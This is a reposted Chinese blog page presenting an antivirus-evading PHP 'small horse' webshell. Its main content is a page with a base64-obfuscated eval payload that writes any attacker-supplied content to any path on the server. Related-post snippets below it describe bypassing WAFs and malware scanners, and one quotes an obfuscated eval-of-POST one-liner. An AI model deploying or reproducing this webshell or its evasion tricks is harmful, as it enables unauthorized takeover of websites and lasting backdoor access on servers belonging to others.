PHP小马免杀

最新推荐文章于 2024-04-19 05:29:24 发布
最新推荐文章于 2024-04-19 05:29:24 发布
阅读量765 收藏
点赞数
文章标签： php
原文链接：https://yq.aliyun.com/articles/527563
版权

PHP小马免杀

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
           <HTML><HEAD>
           <META http-equiv=Content-Type content="text/html; charset=gb2312">
           <title>北极宫爵版php小马</title>
           <?php eval(base64_decode('aWYoJF9SRVFVRVNUWyJpZCJdPT0iMSIpDQp7DQokc3lmZHBhdGg9JF9SRVFVRVNUWyJzeWZkcGF0
           aCJdOw0KJGZwPWZvcGVuKCRzeWZkcGF0aCwidyIpOw0KaWYoJGZwKQ0Kew0KZndyaXRlKCRmcCwk
           X1JFUVVFU1RbImN5ZmRkYXRhIl0uIlxuIik7DQpmY2xvc2UoJGZwKTsNCiRzdGF0aWM9IrGjtOaz
           ybmmIjsNCn0NCmVsc2UNCnsNCiRzdGF0aWM9IrGjtObKp7DcIjsNCn0NCn0='));?>
           <FORM action="" method=post >
           <META content="MSHTML 6.00.6001.18063" name=GENERATOR></HEAD>
           <BODY>保存文件的<FONT color=red>绝对路径(包括文件名:如D:\web\diy.php):</FONT><INPUT size=50 
           name=syfdpath 
           width="32"><BR>本文件绝对路径 <?=$_SERVER['DOCUMENT_ROOT'].$_SERVER["PHP_SELF"]; ?><br><FONT color=red><?=$static?></font><BR>输入马的内容:< TEXTAREA name=cyfddata rows=10 cols=80 width="32"></TEXTAREA><input type="hidden" name="id" value="1"><INPUT type=submit value=保存></FORM></BODY></HTML>



本文转自gaodi2002 51CTO博客，原文链接:http://blog.51cto.com/gaodi2002/1618190
weixin_34072159
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
浅谈PHP小马免杀
09-10 958
在渗透测试过程初期，上传小马，拿到webshell再进行下一步的操作，现如今的网站安全更多是 一些云防护、CDN防护、服务器安全软件等等，给渗透测试、提权等带来了一定难度的提升， 今天探讨一下如何做PHP小马的免杀。 小马：体积、代码量比较小的webshell文件，一般借助“中国菜刀”、蚁剑等shell链接工具，进行进一步的渗透测试 小马因为代码小，显得更加灵活。就...
记录一些免杀小马
闵行小鱼塘
06-30 651
记录些免杀小马，可能随着时间有些会失效
一句话木马针对的不同框架使用_php大马小马什么区别，太香了
最新发布
2401_83947048的博客
04-19 693
webshell根据脚本可以分为PHP脚本木马，ASP脚本木马，也有基于.NET的脚本木马和JSP脚本木马。webshell根据功能也分为大马、小马和一句话木马，例如：通常把这句话写入一个文档里面，然后文件名改成xx.asp。然后传到服务器上面。小马和大马都是网页类型中的一种后门，是通过用来控制网站权限的，那最主要的区别就是小马是用来上传大马的。小马体积小，有比大马更强的隐蔽优势，而且有针对文件大小上传限制的漏洞，所以才有小马，小马也通常用来做留备用后门等。
PythonPHP异或免杀马制作以及使用编码器和解码器绕过宝塔实现webshell控制
qq_61616350的博客
12-21 1113
我们先用$a接收加密 create_function后的结果，$a = ('3'^'P').(')'^'[').(')'^'L').(')'^'H').(')'^']').(')'^'L').(')'^'v').(')'^'O').(')'^'\\').(')'^'G').(')'^'J').(')'^']').(')'^'@').(')'^'F').(')'^'G');不知道为什么我的ASSERT()函数使用蚁剑连接不上，所以我就用了自定义函数的方法来制作木马。我上传的shell也被宝塔拦截了。
php免杀,PHP小马免杀
weixin_35991292的博客
03-09 394
PHP小马免杀北极宫爵版php小马aCJdOw0KJGZwPWZvcGVuKCRzeWZkcGF0aCwidyIpOw0KaWYoJGZwKQ0Kew0KZndyaXRlKCRmcCwkX1JFUVVFU1RbImN5ZmRkYXRhIl0uIlxuIik7DQpmY2xvc2UoJGZwKTsNCiRzdGF0aWM9IrGjtOazybmmIjsNCn0NCmVsc2UNCnsNCiRzdGF...
小马的免杀
sweetie 的博客
04-12 813
一般的php一句话后门很容易被网站防火墙waf拦截，而waf通常通过判断关键字来辨别一句话木马，要想绕过waf就需要对木马进行一些变形。(仅供分享经验，不可用作非法用途) 图片来源 一.先看一只有趣的小马 <?php ($b4dboy = $_POST['b4dboy']) &&@preg_replace('/ad/e','@'.str_rot13('riny')."($b4dboy)", 'add'); ?> 沙箱检测它是安全文件 用D盾查杀只是发现可以的str_rot1
PHP小马免杀的浅谈[过最新D盾]1
08-03
PHP小马免杀的浅谈[过最新D盾]344 字 5 分钟绕过思路1:使用写文件的函数写出另一个php文件然后include/require 回来执行方法1:Fil
PHP过D盾免杀小马.zip
06-14
提供混淆以及未混淆两个文件，可以随意过D盾，可用菜刀直接连接！
免杀小马devilsafe 代码
09-20
过国内大部分SD，拥有全能型的过杀毒系统，自动脱壳。
2013免杀asp
02-25
这份asp大马是经过各位web安全工程师推出的一款开源asp大马所有源代码比先前的那份免杀asp大马有更好的速度了。去除了部分bug 对于各位网站站长来说。这个是非常好的一份开源asp代码。自己可以增添自己的功能，还能...
超小PHP小马小结(方便查找后门的朋友)
10-28
超小PHP小马小结，方便查找后门的朋友，发现相关类似代码可以直接封杀了
2019最新过狗过，云锁，360等WAF的PHP免杀大马
02-02
2019最新过狗过，云锁，360等WAF的PHP免杀大马等主流防护软件
php免杀大马过所有By:鸿哥
05-25
默认shell登陆密码admin,过安全狗,护卫神,等安全是关于网络的都直接过
php7可用的小马,PHP7安装笔记
weixin_30873333的博客
04-12 781
# 安装mcryptyum install -y php-mcrypt libmcrypt libmcrypt-devel# 由于版本问题，centos不能集成mcrypt，自行安装解决错误# configure: error: mcrypt.h not found. Please reinstalllibmcrypt.wgethttp://nchc.dl.sourceforge.net/proj...
利用小马下载全站程序，（php inc格式文件包括目录结构）的py代码
Yatere的天平秤
07-16 2220
如果有小马了，就可以用本程序下载全站程序。 代码如下： import urllib.request as ur import urllib.parse as up import threading,queue,os,sys que=queue.Queue() os.chdir(sys.path[0]) key='pass' #小马的密码 url=r'http://localhost/te
php超小免杀大马_超小PHP小马小结(方便查找后门的朋友)免杀
weixin_39579483的博客
12-30 838
作者: spider我也来个超小PHP小马复制代码 代码如下:header("content-Type: text/html; charset=gb2312");if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);?>保存文件名: if(isset($_POST['file...
php小马怎么打开,超小PHP小马小结(方便查找后门的朋友)
weixin_34917128的博客
03-09 237
作者: spider我也来个超小PHP小马复制代码代码如下:header("content-Type: text/html; charset=gb2312");if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);?>保存文件名: if(isset($_POST['file'...
过D盾php webshell免杀马探讨
goddemon
07-19 1630
本文章仅用于渗透交流学习，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任最近有在系统的总计waf绕过内容和后缀的绕过,把以前别的师傅发过的很多东西做了一些总结在这个过程中发觉了其实webshell的bypass手法还是蛮多的后缀bypass总结完了经过实战也绕过了很多家最新的waf后缀内容的还没写完东西有点多这里就分享一些php免杀的马全过的也有贼多但是暂时就不分享了。......
shell 免杀aspx_Webshell免杀
weixin_39656513的博客
12-31 591
一句话木马在渗透测试中最常用的就是一句话后门(小马)和中国菜刀的配合。如果出现某种WAF防护，就寻找一个免杀的大马挂马。最常见的php一句话木马这个一句话木马由两部分组成，eval用来执行接收的代码。$_POST['x']来接收数值。本着这个原则，尝试改写一句话木马绕过WAF。搜集了几个常用的php函数执行代码的eval、assert、preg_replace接收数据的$_POST、$_GET、$...
小马哥stm32f1源文件
01-29
小马哥stm32f1源文件是指由小马哥团队开发的针对STMicroelectronics的STM32F1系列微控制器的源代码文件。 STM32F1系列微控制器是STMicroelectronics推出的一款32位ARM Cortex-M3内核的单片机产品系列，它具有高性能...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值